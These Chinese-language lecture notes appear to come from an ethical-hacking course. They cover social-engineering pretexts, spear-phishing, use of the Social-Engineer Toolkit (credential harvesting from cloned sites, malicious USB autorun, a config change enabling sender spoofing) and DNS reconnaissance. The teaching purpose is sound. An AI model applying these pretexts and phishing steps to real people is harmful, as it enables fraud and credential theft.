- 一旦了解后,测试者找到了大楼的保洁服务提供商,并打电话试图获取清洁细节。他将讨论重点放在安全机制上。
- 他告诉保洁主管安全系统崩溃了,需要恢复,否则他们的门禁卡周一将无法使用。他询问是否能在周五交换门禁卡。
- 测试者与保洁主管会面,提供了一张新的假卡(据称用于恢复后的系统),并要求换回旧卡。
- 在这次交换过程中,保洁主管还告诉测试者他们使用带主钥匙的锁箱,唯一的警报在外围。
- 于是,在周末,测试者使用门禁卡绕过警报系统和办公室门的二级锁。
- 他们找到并进入了服务器机房,在便利贴上发现了管理员密码,成功进入。
- 他们还使用U盘工具重启了服务器,并捕获了密码文件。

社会工程学的普遍性
从最广泛的意义上讲,社会工程学是真正普遍存在的,它总是涉及对信任的操纵。以下列表展示了一些例子。
列表中您可能觉得最不明显的项目是税收。其理念是,政府知道税收是负担,但他们想安抚公众并让我们自愿支付账单。政府创造了减免项来减轻负担,例如抵押贷款利息扣除或慈善捐赠扣除。
对信任的操纵体现在,纳税人关注的是扣除额,而不是整体税负,而整体税负是扣除额价值的10到15倍。根本方法是让税单看起来更容易接受一些。在这方面,有人认为国税局应该简化税法并消除漏洞,而不是操纵纳税人的信任。
以下是从渗透测试角度看的几个信任操纵例子:
- 第一个例子:渗透测试者假装是软件供应商的代表。他打电话给被测试公司中一个毫无戒心的人,询问他们使用的软件版本。同时,他会索要一个电子邮件地址,告诉受害者他将收到一份对话摘要,以核实电话中提供的版本号,确保没有误解。挂断电话后,黑客会发送一封带有恶意代码附件的电子邮件。
- 第二个例子:涉及在开始渗透测试前尝试识别公司使用的防病毒产品。一些缺乏经验的测试者可能会尝试从公司内部人员那里打听,但这很容易暴露正在进行渗透测试的事实。另一种方法是打电话给所有防病毒公司,告诉他们您工作的公司(即您正在测试的公司)想要购买更多许可证。防病毒销售员会非常乐于帮助确定当前的许可证数量,因为他们想卖给您更多。您持续尝试,直到找到正确的防病毒公司。由于平均只有7家左右的防病毒公司,只需打3到4个电话就能弄清楚您正在对付的是哪款防病毒产品。


信息收集与利用
我们记录系统的数字化有利有弊。这张幻灯片展示了我们通过在线搜索可能收集到的关于一个完全陌生的人的一些信息。信息的可用性因地区而异,但其中大部分几乎对任何人都能找到。事实上,曾经有一段时间,我居住的华盛顿特区附近县的房产记录中包含社会安全号码。那里曾经有一些非常有趣的、居住在同一县的高级联邦官员的SSN图像。
我们已经并将继续讨论几种工具,帮助您收集此类信息。但我们用它来做什么?我们已经讨论了一些例子,但它可以用于许多目的。
以下是一些例子:借口托辞和鱼叉式网络钓鱼邮件是本子模块的重点。但一个与社交工程无关的有趣的数据收集例子涉及从数据中得出推论。研究人员确定,在美国,87%的人口仅基于五位邮政编码、性别和出生日期,就具有可能使其独一无二的特征。这可能看起来不重要,但这里有一个例子说明其重要性。马萨诸塞州州长的医疗记录在团体保险委员会数据库中。该数据库被提供给研究人员并出售给行业,数据已经过匿名化处理。然而,隐私研究人员将这个数据库与剑桥选民名单(他们花20美元就能买到)联系起来。关联两个数据库后,医疗记录数据库中有六个人与州长有相同的出生日期。其中三人是男性,但只有一人拥有其五位邮政编码。换句话说,研究人员通过花20美元购买选民数据库,就能识别出州长的具体医疗记录。
当然,本模块不是关于数据库隐私的,但关键点是,互联网上看似无害的信息,可能会产生社交工程师可以组装并利用以实现其目的的信息。



借口托辞与网络钓鱼
借口托辞相当于伪造攻击者活动的意图,或者在某种情况下,为了达到特定目标而谎报身份。进行这种借口托辞是否违法取决于具体情况。以凯文·米特尼克为例,他的行为曾游走在法律的两边。
成功的口头借口托辞的一个关键是能够应对对话中意想不到的转折。您无法为出现的每个问题或情况做好准备,必须能够流畅地应对您未准备好的流程变化。例如,假设受害者即将给您一些重要信息,但索要一个回电号码。如果您实际上没有代表那个借口所需的号码,或者您甚至不知道该公司的区号或局号,您该如何实时维持骗局?错误的反应可能会结束通话。一个解决方案可能是说您的老板刚走进您的办公室,您会在一分钟后回电。然后您快速研究一下该公司的电话号码再回电。
表格显示了一些我们在电影或电视上听到或看到的例子。如今,我认为大多数组织都培训员工保持专业,但不要对此类事件做出反应。然而,我们知道仍然有受害者。另一个很好的例子是调查员在您能看清之前快速出示虚假证件,希望您会因为害怕而不敢要求再看一次。每次我接受关于某人申请安全许可的访谈时,我总是坚持要求仔细检查证件。您也应该这样做。


419诈骗是一种欺诈行为,也是最常见的骗局类型之一。事实上,“confidence trick”(骗局)这个短语明确指代对信任的操纵。数字419指的是尼日利亚刑法中处理欺诈的条款。这种骗局曾通过传真、传统邮件使用,现在,众所周知,它通过互联网使用。几年前的骗局利用了这样一个事实:曾经上当受骗的人很可能再次上当。其想法是:如果您向代表尼日利亚政府的律师支付一小笔费用,他将帮助您追回最初的损失。令人难以置信的是,有些受害者被骗了两次。这里的启示是,有些人可能比其他人更容易受到社会工程学攻击。
此处显示的钓鱼骗局的一些线索用红色高亮显示:
- 左上角:将鼠标悬停在链接上显示它并非真正的微软网站。URL前面的IP地址指向一个恶意网站。链接和页面上的其他一切看起来都像微软,包括图形,但硬编码的IP地址是破绽。
- 左下角:描述了一笔您可以取消的银行转账,但没有提供关于您银行账户的具体信息。而一个合法的消息至少会提供您银行的名字。
- 右下角:说明了一种在受害者心中制造紧迫感的常见技术。这是一种众所周知的销售策略:“立即行动,以免为时已晚”。它在网络钓鱼中同样有效,试图让您在思考之前点击。
- 右上角:是一种混合方法。它缺乏关于国家的具体信息,并暗示他们对任何业务类型都感兴趣。“别担心细节,但无论您从事什么业务,请立即回复。”当然,写得荒谬的信件会自我筛选,但精心制作的则更难检测。这就是鱼叉式网络钓鱼的用武之地,您将在本模块的作业中被要求尝试一下。
这是一个鱼叉式网络钓鱼攻击的例子。预期的受害者是我的一个同事,他在收到这封邮件两周前刚刚乘坐过全美航空。幸运的是,他是一名安全专业人员,检测到了带有前导IP地址的混淆链接,该链接指向一个不属于全美航空的恶意网络服务器。

当然,社交媒体的热潮创造了一个公开信息的金矿,可以利用这些信息收集足够的信息来发起一次非常可信的鱼叉式网络钓鱼攻击。


高级鱼叉式网络钓鱼案例
在这个鱼叉式网络钓鱼示例中,被渗透测试的组织没有太多的网络存在或任何可行的入口点。因此,测试者转向了社会工程学。公司侦察得到了一个公司官员的名字。对他的名字进行额外搜索,发现了他有集邮的爱好。舞台已经搭好。
测试者建立了一个虚假的恶意集邮网站。一旦建立,他给该官员留下了语音邮件,并发送了一封电子邮件,说他最近因其祖父去世而收到了一大批1950年代的邮票收藏。他最后询问目标是否有兴趣购买任何邮票。该官员点击了链接,公司的外围防御因此被攻破。
这次攻击发生在2011年春天,这是一个很好的例子,说明了鱼叉式网络钓鱼如何能够有效。攻击者创建了一个电子表格,据称包含RSA公司为该年制定的招聘计划信息。随后,它被发送给人力资源部的几名员工。此前,已经进行了大量的侦察,以识别组织内各个层级的人力资源人员。受害者可能是一个通常不会收到此类信息的人,出于好奇查看了它;或者可能是一个知道没有这种东西存在,想看看里面是什么的人;又或者攻击者可能有足够的信息知道RSA每年都这样做,他们在官方版本发布之前发布了恶意版本。这些都是可能的情况,但RSA在报告时没有透露此类细节。关键是,发送恶意邮件的针对性攻击是有效的。

我去年圣诞节注意到的一个骗局是,收到来自近期网购发货商的关于包裹跟踪的恶意电子邮件。通过在假期期间进行,其目的是利用购物者在那段时间会进行许多购买,并且不会记住他们所做的每一笔购买。目标是让受害者点击链接以刷新记忆,看看包裹何时到达。这是相当有创意的想法,我怀疑许多在线购物者成为了骗局的受害者。



社会工程学在安全事件中的角色
《联邦信息安全管理法案》(FISMA)于2002年通过。它认识到信息安全对美国经济和国家安全利益的重要性。该法案要求每个联邦机构制定、记录和实施信息安全计划。FISMA要求机构官员每年审查机构的信息安全计划,并将结果报告给管理和预算办公室(OMB)。OMB则准备关于机构遵守该法案情况的年度报告提交给国会。
您在此处看到的图表来自该报告,显示了社会工程学和网络钓鱼的重要性。OMB使用社会工程学术语来包括欺诈网站和其他诱使用户提供敏感信息或下载恶意代码的企图。在这些术语中,它实际上是“尝试访问”的一个子类别。因此,它不包括恶意电子邮件。而网络钓鱼则完全关乎恶意电子邮件。据报道,社会工程学是爱德华·斯诺登在获取NSA其他系统管理员账户以扩大其数据收集犯罪规模时使用的一项重要技术。社会工程学可能是本图表中许多其他事件背后的原因,但正如我们所指出的,它是网络钓鱼的主要组成部分。您如何让受害者采取一些可能不寻常的、或者他们受过培训不应采取的行动?

虽然网络钓鱼尝试仍然是利用联邦系统和数据的主要方法,但美国计算机应急准备小组(US-CERT)在图3中描述的事件类别并未捕捉到这种威胁的严重程度。事实上,2013年的数据与2013年报告中显示的内容完全不一致。看来US-CERT重新定义了事件定义并对数据进行了重新分类。虽然FISMA的初衷是好的,但这至少指出了在尝试收集事件信息时的一个问题。在本报告中,US-CERT根据根本原因(如恶意代码或社会工程学)而非来源对这些事件进行分类。因此,与大量的恶意代码和社会工程学事件相比,图3显示的网络钓鱼事件数量较低。


作业与实践
这是本模块的作业。您将从极其有限的身份信息开始,收集关于您伙伴的信息。您的目标是制作一封可信的鱼叉式网络钓鱼电子邮件。您将把这封鱼叉式网络钓鱼邮件发送给您自己,而不是您的伙伴。
采用这种方法是因为SAT中的所有有效载荷都是恶意的,通常会在受害者的计算机和攻击者之间建立连接。虽然如果您将其发送给您的伙伴,看看会发生什么会很有趣,但如果有效载荷建立了连接然后安装了持久性后门,您将违反法律。因此,出于安全、隐私和法律原因,请不要将此发送给您的伙伴。


总结与最后提醒

关于互联网上的信息,无论是您发布的还是他人发布的,最后再说一句。图片的地理标记是每个人都应该意识到的事情,并确保没有侵犯隐私或造成安全风险。捕获和利用地理标记可以被视为一种社会工程学形式。在此处所示的案例中,一些士兵在互联网上发布了一些他们自己的无害照片。但这一行为并未维护行动安全。攻击者(在这种情况下是动能恐怖分子)利用地理标记精确定位了该部队,并在伊拉克的飞行线上摧毁了几架阿帕奇直升机。
社会工程学涉及使用借口托辞来操纵信任。人确实是安全中最薄弱的环节。如果您以正确的方式询问,通常总会有人让您进去。花费数天时间试图利用技术漏洞同时隐藏您的存在,几乎没有什么回报。


即使员工试图做正确的事,他们也可能只是打开门。他们这样做可能是出于礼貌、因为感到害怕,或者因为他们信任您。
在下一讲中,我将介绍社会工程学工具包。您将在作业的第二部分使用此软件向受害者发送电子邮件,尽管在这种情况下,受害者将是您自己,这有点无聊。当然,您可以自行探索其他目标,例如家庭网络上的家庭成员。但请记住,这样做是违法的,很可能是重罪。



本节课中,我们一起学习了社会工程学攻击的基本原理、经典案例、常见手法(如借口托辞、网络钓鱼、鱼叉式网络钓鱼)以及其在渗透测试中的位置。我们认识到,操纵信任是此类攻击的核心,而人往往是安全链中最薄弱的环节。防御社会工程学攻击需要提高安全意识,对异常请求保持警惕,并谨慎处理个人信息。
018:社会工程学工具包 🛠️
在本节课中,我们将学习社会工程学工具包(SET)的基本概念、主要功能和使用方法。SET是一个强大的框架,专门用于模拟和测试社会工程学攻击,帮助安全人员理解攻击者的手法并加强防御。
概述
社会工程学工具包由TrustSec公司的CEO Dave Kennedy开发。Dave同时也是渗透测试执行标准(PTES)的创始人之一,该标准是渗透测试的基础规范。由于Dave也是一位Metasploit开发者,SET与Metasploit框架存在一些相似性和关联。因此,SET的许多功能都侧重于漏洞利用,而社会工程学只是攻击执行中的一个环节。尽管如此,SET提供了多种工具来生成攻击场景,诱使受害者点击恶意链接或访问恶意网站。
要在我们的道德黑客环境中使用SET,仅使用主机模式(Host-Only)效果不佳。主机模式通常用于学习针对其他虚拟机的漏洞利用。但在许多攻击中,SET需要克隆活跃的网站,这只有在具备互联网访问权限时才能实现。在主机模式下,可以克隆内部网站,例如在Metasploit中设置的易受攻击的Mutillidae Web服务器。然而,观察SET如何克隆Gmail和Facebook将有助于你更好地理解该工具的工作原理。
需要提醒的是,使用这些技术连接到道德黑客环境之外的计算机是违法的。如果你没有将Kali保持在主机模式下,必须在漏洞利用针对外部受害者运行之前停止工具。你应该只针对道德黑客环境中的其他虚拟机运行漏洞利用。我曾在家庭网络中使用VirtualBox的桥接模式在自己的计算机上进行实验,你可能也有兴趣尝试。但请记住,攻击家庭网络之外的任何计算机都是重罪。

要启动SET,请在命令行中输入 setoolkit。SET是一个利用Metasploit框架的、包含多种攻击方式的框架。很容易将SET的功能与Metasploit的功能混淆,许多在互联网上制作YouTube视频的“准黑客”也会犯这个错误。尽管你稍后才会学习Metasploit,但在探索SET功能时,尝试在脑海中区分两者非常重要。
这里的关键讨论点是,SET中的每种攻击向量都提供了不同的方法,诱使某人点击链接或访问网站。作为社会工程师,你的工作是选择正确的方法,并添加必要的个人信息,使受害者在收到请求时感到放心。

SET拥有的攻击向量远不止这里显示的三种,但工具包的作者认为这些是最有效的几种。因此,我们将花些时间讨论它们。
以下是SET中三种最有效的攻击向量:
- 鱼叉式网络钓鱼:这是一种高度定向的攻击,试图让受害者打开电子邮件附件。
- Web攻击:通常试图让Java小程序在你访问的网页上运行。
- 恶意USB/DVD攻击:我们都听说过作为会议赠品分发的恶意USB盘的故事。如何标记留在桌上或任何停车场的USB盘,可能会让某些受害者无法抗拒。如果你足够了解受害者的兴趣,精心设计的标签可以成为一个非常有用的社会工程学工具。
鱼叉式网络钓鱼是本模块作业的主题。你需要收集关于你的伙伴(即受害者)的足够信息,以便制作一条他或她会信任的消息。如果受害者信任邮件的来源,并且内容看起来真实且符合预期,那么受害者很有可能会打开附件。
SET允许你为附件选择一些常见的文件格式,如PDF。SET允许你为附件命名,以匹配经过社会工程学设计的电子邮件。例如,如果你的受害者是一个DIY爱好者,一封关于家庭电气工作的精心制作的电子邮件,以及一个名为“三路开关安装说明.pdf”的附件,可能会导致攻击成功。
SET还允许你使用Sendmail伪造发件人的电子邮件地址。然而,这只有在受害者的SMTP服务器不对主机名执行反向查找时才有效。如果执行了反向查找,受害者的邮件服务器很可能会采取除投递邮件之外的其他操作。要探索此功能,需要安装Sendmail,尽管Kali通常已预装Sendmail。
要启用此功能并在SET中利用它,你需要更改位于 /usr/share/set/set_config 的SET配置文件。编辑文件 set_config,将 SENDMAIL=OFF 标志更改为 SENDMAIL=ON。
SET允许你使用Sendmail、Gmail或你自己的开放邮件中继来执行定向攻击,并且支持单个受害者电子邮件地址或群发邮件。由你选择。当你启动SET时,菜单会引导你创建电子邮件和恶意附件,但只有在受害者打开附件时才有效。这正是真正社会工程学的用武之地。你需要发现关于受害者的足够信息,以便制作一封针对性极强的电子邮件,使受害者愿意打开附件。

这是一张SET配置文件的截图,显示Sendmail功能设置为OFF。如果你想尝试伪造发件人地址,请将其设置为ON。
我们将讨论的第二个有效的SET功能是Java小程序攻击。基本思路是让受害者浏览一个网站,并同意运行嵌入的小程序。不幸的是,自2014年初以来,由于Java的更新,这已成为一种效果较差的工具。当然,如果用户未能保持其Java版本为最新,攻击仍然有效。
这种攻击的基本思路是克隆一个网站,将小程序嵌入克隆的网站中,并向受害者发送一个链接,辅以足够的社会工程学手段以建立信任感,从而使受害者运行该小程序。SET提供的一个技巧是Java重复器概念。运行窗口会不断弹出,直到用户同意运行为止。因此,如果建立了信任感,并且受害者因为运行窗口不断弹出而无法在浏览器中进行任何操作,那么他最终很可能会点击“运行”,因为他想继续浏览,并且并不真正知道点击这个弹窗会做什么。这种攻击不再那么有效的原因是,当前版本的Java不允许运行自签名代码。
对于SET,开发者Dave Kennedy最初花了几百美元购买了一个代码签名证书,证明来自俄亥俄州一家名为“Verified Publisher”的公司。该证书用于对小程序进行自签名,以增加受害者对小程序的信任度。良好的社会工程学和对代码签名过程缺乏了解所创造的信任度提升,共同构成了一个可行的攻击向量。
当用户选择“运行”并且克隆网页上的有效载荷在受害者机器上执行时,浏览器会立即重定向回真实的网站,以使攻击不那么显眼。SET菜单将引导你完成网页的克隆和小程序的嵌入,但只有在受害者运行小程序时才有效。同样,这凸显了良好社会工程学的重要性。你需要发现关于受害者的足够信息,以便确定要克隆或创建哪个网页,以及需要什么才能让受害者运行小程序。
凭证收集器允许你克隆一个网站,甚至创建一个新网站,并且SET会自动重写POST参数,以便你在凭证输入表单后拦截和收集它们。收集凭证后,受害者会被重定向回真实网站,以使攻击看起来不那么显眼。这种技术也可以设置为尝试大规模收集。对于大规模收集,SET提供了一种机制,可以将收集到的信息以HTML或XML格式导出,以支持报告生成。

社会工程学的要求是,攻击者必须说服受害者在收到链接后,在网页上输入他们的凭证。像Gmail或Facebook这样的网站的挑战在于,用户通常是自己导航到这些网站的,因此他们可能对电子邮件中收到的链接持怀疑态度。话虽如此,如果你写一封热情洋溢的电子邮件,描述用户感兴趣的某些内容,你或许可以为Gmail或Facebook编造一个可信的故事。然而,克隆一个不那么流行的网站,并且传递链接可能不那么不寻常,可能会更有效。如果链接附带的电子邮件热情地讨论一个新网站的“酷炫”因素,你可能会成功地让他们输入或创建凭证。


这是包含凭证的文件截图,当时我在克隆的Gmail表单中输入了假的用户名和密码。
恶意DVD工具用于部署USB或DVD社会工程学攻击。这是一个简单而有效的工具,它会在SET根目录下创建一个文件夹,自动接收和存储autorun信息,并为你生成一个Metasploit有效载荷。两个文件存储在SET主目录 /usr/share/set/auturun 中。你只需将autorun目录的内容复制到媒体上,就可以发起攻击了。受害者的autorun功能通常是关闭的。但如果它是开启的,一旦插入U盘,漏洞利用就会运行。当它关闭时,可能需要社会工程学手段来说服受害者允许其运行。社会工程学涉及在USB盘或DVD上使用有创意的标签,诱使某人插入媒体并启动。另一种选择是在U盘上放置一个合法文件作为传递给受害者的手段,但U盘也会包含恶意内容。
二维码扫描和Java更新攻击所需的社会工程学量相当低。QR攻击可能根本不需要任何社会工程学。人们通常不加思索地扫描二维码,甚至没有意识到它们可能是恶意的。对于Java更新消息,社会工程学工作已经由安全工程师和IT部门完成,他们鼓励每个人“打补丁、打补丁、打补丁”。通过使用社会工程学工具包,补丁可以被恶意制作,而社会工程学工作已经为攻击者做好了。攻击者只需要确保Java更新看起来真实。
我们已经看了几种社会工程学工具。在每种情况下,攻击都包含一个信任成分。信任是社会工程学的基础组成部分,要使其有效,你需要建立一定程度的信任并加以利用。接下来的两张幻灯片将指出每种所示漏洞利用所依赖的一个信任方面。对于你开始做作业来说,一个好的练习是尝试思考与这些漏洞利用相关的其他信任成分,因为如果你不能建立那种信任关系,你的社会工程学攻击就不会成功。
要使鱼叉式网络钓鱼有效,电子邮件必须精心构建并基于详细研究。受害者必须相信电子邮件是真实的,并且来自他们可以信任的来源。鱼叉式网络钓鱼如此有效的原因是,用户通常每天打开许多附件而没有恶意结果。从某种意义上说,他们训练自己信任附件。因此,当一封精心制作、可信的鱼叉式网络钓鱼邮件到来时,他们可能想都不想就会打开它。
要让用户运行Java小程序通常更难,并且需要比鱼叉式网络钓鱼更多的信任,因为人们对弹窗变得更加怀疑,如果他们不理解的话。在家用计算机的早期,用户可以点击窗口,这无关紧要,因为当时没有多少恶意软件。情况已经改变,相关的宣传现在导致许多不了解的用户在点击“运行”之前向他人寻求建议。这种情况增加了信任的重要性。小程序必须发出一个用户理解、相信并且可能以前见过的运行请求。
被引导到一个要求你输入凭证的网站,可能需要的信任程度介于打开附件和运行小程序之间。一些用户听从建议,总是自己浏览到网站,不信任链接。当然,一些用户不那么谨慎。因此,如果链接和消息看起来真实,他们很可能会输入凭证,然后这些凭证就归你所有了。
在USB盘攻击中建立信任有点不同。一种方法是将其标记为某人可能信任的方式,也许是一个他们认识的人的名字或一个知名组织,如大学。你也可以用你了解到受害者感兴趣的主题来标记它。你也可以使用受害者知道的名字,并加上“财务”或“税收”等词。
大多数移动设备用户还没有意识到二维码可能是恶意的。话虽如此,你可以构建与传递恶意链接相同类型的恶意电子邮件。诀窍是通过电子邮件将其发送到计算机电子邮件账户,并让受害者用他们的智能手机扫描它,认识到攻击将在智能手机上执行,而不是在计算机上。
最后一种攻击是恶意软件更新消息,它经过精心设计,完全匹配用户经常遇到的更新,例如Adobe Reader或Java更新。你可以做一些社会工程学来识别受害者使用的其他软件,并为其构建更新消息。
这张幻灯片简要概述了本模块作业的最后一部分,要求使用社会工程学。更多细节可在社会工程学作业说明中找到。
作业的这一部分要求你使用SET向自己发送一封伪造发件人地址的电子邮件。如果你能将之前在第一部分制作的电子邮件发送给你的伙伴,看看你做得有多好,那就太好了。但你不能这样做,因为所有有效载荷都是恶意的。如果成功,你将可以访问受害者的计算机,并触犯了《计算机欺诈和滥用法案》,构成计算机犯罪。不要这样做。因此,这个想法是让你成为自己攻击的受害者,以证明你理解了该技术。
为了结束本模块,请启动Kali中的社会工程学工具包,并探索我们讨论过的所有攻击。这将让你很好地感受SET的功能。动手实践是迄今为止理解工具如何工作的最重要组成部分。由于创建鱼叉式网络钓鱼邮件是你作业的一部分,理解这些工具对于成功完成作业非常重要。在下一个关于信息收集的子模块中,我将讨论域名服务(DNS),即互联网的目录辅助数据库。😊

总结

本节课我们一起学习了社会工程学工具包(SET)的核心概念和主要攻击向量。我们了解到SET是一个强大的框架,用于模拟社会工程学攻击,如鱼叉式网络钓鱼、Java小程序攻击、凭证收集和恶意USB攻击。关键在于理解每种攻击都依赖于建立和利用受害者信任。我们强调了在受控的道德黑客环境中使用这些工具的重要性,并提醒切勿对未经授权的目标进行攻击。通过动手探索SET,你将更好地理解社会工程学攻击的原理和防御方法。
019:域名服务侦查技术 🌐
在本节课中,我们将继续探讨道德黑客方法论中的信息收集阶段。我们将把焦点从整个互联网转向一个更本地化的信息来源——域名服务。我们将了解域名服务器中存储了哪些信息,以及如何从中提取这些信息。
概述
上一节我们介绍了信息收集的宏观方法,本节中我们来看看一个具体且关键的信息源:域名服务。从DNS收集数据是道德黑客信息收集阶段的另一重要环节,它是一个极佳的信息来源,因为DNS中充满了IP地址。
DNS信息的重要性
我们已经讨论过尽可能多地收集目标数据,但其中一些数据确实比其他数据更重要,因为它能帮助我们推进渗透测试。
以下是DNS中几种关键数据类型及其作用:
- IP地址:当我们拥有IP地址时,我们就对要攻击的网络有所了解。我们可以扫描这些IP地址,寻找可利用的脆弱服务。IP地址代表计算设备,因此获取它们有助于我们绘制想要攻击的内部网络地图。
- 电子邮件地址:电子邮件地址可用于社会工程学攻击。此外,
@符号前的信息可能有助于确定网络用户名。 - 主机名:主机名与IP地址相关联。在Linux中使用
host命令可能会生成更多可扫描的IP地址。 - URL:URL有助于识别主域名和次级域名。我们可以收集所有这些域的数据,并寻找新的IP地址。
最终,我们能找到与目标关联的IP地址越多,潜在的攻击入口点就越多。DNS是一个极其宝贵的信息源,因为它塞满了IP地址以及这些IP到域名的映射关系。再次强调,IP地址代表计算设备,并提供了网络攻击向量。
DNS工作原理简述
那么,我们究竟能从域名服务器中提取出什么呢?首先,让我们快速回顾一下域名服务的工作原理。
DNS的基本目的是名称解析。给定一个名称,它提供匹配的IP地址以便路由数据包。
旁注:地址解析协议将在课程其他地方讨论,它为给定的IP地址提供MAC地址。因此,主机名、IP地址和MAC地址三者紧密耦合。
最初,计算机只有一个 hosts 文件。在Linux中,它位于 /etc/hosts;在Windows中,它位于 C:\Windows\System32\drivers\etc\hosts。你可以查看自己计算机上的hosts文件以了解其内容。这个文件用于将人类友好的主机名转换为IP地址。
hosts文件至今仍可工作,但通常为空或仅提供环回信息,其功能已被DNS取代。hosts文件方法在小型网络上运行良好,但随着文件增大,文件搜索会变得越来越慢,直到慢到无法使用。此外,维护和复制这个文件也很麻烦。
然而,一旦DNS被添加到互联网基础设施中,情况就改变了。在本讲末尾,我们将看一个简单的例子,通过毒化hosts文件来理解其工作原理。
DNS基于一个服务器层次结构,其中本地服务器维护本地环境的名称映射,而非本地服务器则维护关于远程域的信息。
在本页幻灯片右侧的图片中,ep 是一个子域,其完全限定名为 ep.jhu.edu。沿着树向上,位于全球树顶端的根服务器用一个点 . 表示。根服务器下一层是顶级域,例如 .com、.us、.uk。
分布式DNS数据库建立后,DNS服务器可以将其部分子域的权限委托出去,或者单个服务器可以处理多个域。通过向DNS服务器提供域名以获取IP地址的查询是一个迭代过程。首先,解析器检查hosts文件。之后,如果本地名称服务器无法满足请求,它会返回一个指向层次结构中更高级、更接近目标域的另一个名称服务器的引用。
目前,互联网名称与数字地址分配机构管理整个系统,但将顶级域的职责委托给特定的公司和政府。
在DNS实例中,本地服务器通常是主服务器,但通常有一个备份的辅助服务器。主服务器通过发送区域文件复制到备份服务器,这称为区域传输。
由于技术原因,DNS名称查询响应中能容纳的根服务器地址数量有限。这个限制决定了根服务器安装的数量,目前全球有13个集群。虽然只有13个“根”,但这些名称服务器托管在多个具有高带宽访问和负载均衡路由器的安全站点,以容纳流量负载。最初,所有这些设施都位于美国,但现在情况已不再如此。可以在 root-servers.org 找到包含其位置和属性的完整服务器列表。截至2014年9月,全球有478台根服务器,合并为13个集群。
域名解析过程
本页幻灯片简要描述了域名解析过程所遵循的步骤,从hosts文件开始,到缓存从构成DNS的分布式数据库中找到的结果结束。
屏幕截图显示了Windows机器上本地DNS缓存的一部分。如果你想感受DNS缓存的工作原理,可以尝试以下操作:
- 首先,在命令提示符下输入
ipconfig /displaydns查看你的缓存。检查缓存应显示你最近访问过的域,你甚至可能看到由13个根服务器之一完成的解析记录。 - 其次,输入
ipconfig /flushdns清除缓存。 - 第三,再次显示缓存,它应该是空的。
- 清除缓存后,域名请求将不会在本机上处理,而是由本地DNS完成和/或管理解析。
- 第四,访问你最喜欢的网站,然后再次显示缓存。事实上,在你做任何事情之前,先访问
root-servers.org,你会惊讶于有多少信息最终进入你的缓存。
DNS侦查工具
DNS搜索可以提供大量关于你正在调查的网络的信息。这包括帮助绘制子网的IP地址。这些搜索还可以揭示关于名称服务器和邮件服务器的信息。虽然通常需要身份验证,但你甚至可能能够强制从主名称服务器进行区域传输,从而收集本地DNS的大部分内容。
现在,我们将研究一些可能有助于从DNS收集信息的额外工具。
Whois 查询
Whois 是由域名注册商运行的一项服务,提供关于域名所有者的信息。尽管隐私问题导致 whois 返回的信息发生了变化,但它通常提供管理员的联系姓名和地址,并且通常会提供该域名的DNS服务详情。因此,whois 请求是调查域名服务的第一步。
图像显示了 whois 服务的RFC。请记住,由于隐私问题以及ICANN希望对信息进行更多控制,whois 服务正在不断发展。
这是一个 whois 查询示例输出,我查询了俄亥俄州哥伦布市报纸《哥伦布电讯报》的域名。这次互联网搜索显示有两个域名服务器,并确定了为报社设置域名的注册商。接下来,我们想访问注册商的网站,看看是否能提取更多细节。
这是注册商关于《哥伦布电讯报》域名的信息。根据我们在信息收集过程中的阶段,我们可能会使用公司信息对该组织进行一些额外研究。如果我们已经完成了该研究,我们可以使用电话号码进行社会工程学攻击。还要注意,电子邮件地址不是指向通用邮箱,而是指向特定个人。其中一个电子邮件地址肯定是技术人员的,另一个可能是技术方面的,也可能是业务方面的。无论如何,两者都是鱼叉式网络钓鱼攻击的潜在目标。
本页幻灯片显示了与你的硕士课程相关的霍普金斯域 ep.jhu.edu 的 whois 搜索。如果你在 internic 上搜索此域或任何其他 .edu 域,它会将你指向跟踪所有 .edu 域的 educa 网站。
请注意,返回的信息与 internic 略有不同,并提供更多细节。然而,在这个例子中,我们没有收到注册商的名称。我们开始看到,由于各个注册商的响应没有统一标准,whois 返回了不同的结果。
ICANN DNS工作组认为,当前使用的系统提供了太多不准确的信息,并且未能保护个人和实体在公共领域之外保留信息的合法隐私权。如果你或任何家人朋友注册过域名,包括姓名、家庭住址、电子邮件地址和电话号码在内的个人信息,很可能对互联网上任何使用 whois 的人都是可用的。
为了解决这个问题,ICANN希望对 whois 的工作方式进行更改。首先,没有一个单一的来源可以进行 whois 搜索。为 .edu 域设立单独的网站就是这个问题的一个很好的例子。ICANN希望创建一个单一的、全面的信息来源,这样你就不必进行多次搜索来查找域名信息。如果感兴趣域在 internic 中找不到,你可能需要在一系列注册商中搜索才能找到它。目前有80亿条 whois 记录,以及1150个顶级域名注册商。
第二个变化是,如果创建了全面的来源,ICANN希望它是封闭的,并为 whois 查询添加访问控制。至少,所有用户都必须注册并由中央机构批准才能进行 whois 查询。如果实施这一更改,将产生许多影响。但可以肯定的是,这意味着查询可以被跟踪,并与用于注册访问 whois 功能的信息联系起来。
Nslookup 工具
Nslookup 是一个命令行工具,用于执行查询以从名称服务器检索DNS记录。它可以检索给定域的IP地址,但也可以获取其他信息。
幻灯片显示了与域相关的一些记录类型,例如关于邮件服务器和名称服务器的信息。

此屏幕显示了针对 dispatch.com 和 google.com 的交互式 nslookup 运行。我以交互方式运行它:启动 nslookup,设置记录类型,然后输入域名以获取该记录。
请注意,你只需输入新域名即可轻松在不同域之间切换。
如前一张幻灯片所述,发送 type=any 是一种简写方法,可以通过一个参数获取所有这些记录。这就是此处运行的内容。我们注意到的第一件事是,HINFO 请求没有返回任何关于操作系统类型的数据,它只是超时。事实上,对于 google.com,我们甚至没有看到超时消息。

对于此域,CNAME 和 SOA 返回关于DNS区域的相同信息,包括主名称服务器、域管理员的电子邮件、域序列号以及与刷新区域相关的几个计时器。这是其他被阻止的记录类型请求的默认返回记录。
A 记录提供域的IP地址。
MX 记录提供邮件服务器信息,并为负责接收邮件的服务器提供优先级评级。
NS 记录提供DNS服务器,包括它们的IP地址。
TXT 记录返回SPF信息。发件人策略框架是一个简单的电子邮件验证系统,旨在通过提供一种机制来检测电子邮件欺骗,该机制允许接收邮件交换器检查来自某个域的传入邮件是否是从该域管理员授权的主机发送的。电子邮件垃圾邮件和网络钓鱼通常使用伪造的发件人地址,因此发布和检查SPF记录是一种有用的反垃圾邮件技术。在这种情况下,域的有效发送主机使用无类别域间路由表示法表示,因此有 /22。它定义了一个包含1024个地址的子网,这些地址是来自此域的有效电子邮件来源。有效的IP范围是 208.81.208.0 到 208.81.211.255。
正如在SET作业中所讨论的,当你试图在网络钓鱼电子邮件中伪造电子邮件时,SPF验证可能是你遇到的问题之一。
其他工具:Dig, Host, Fierce

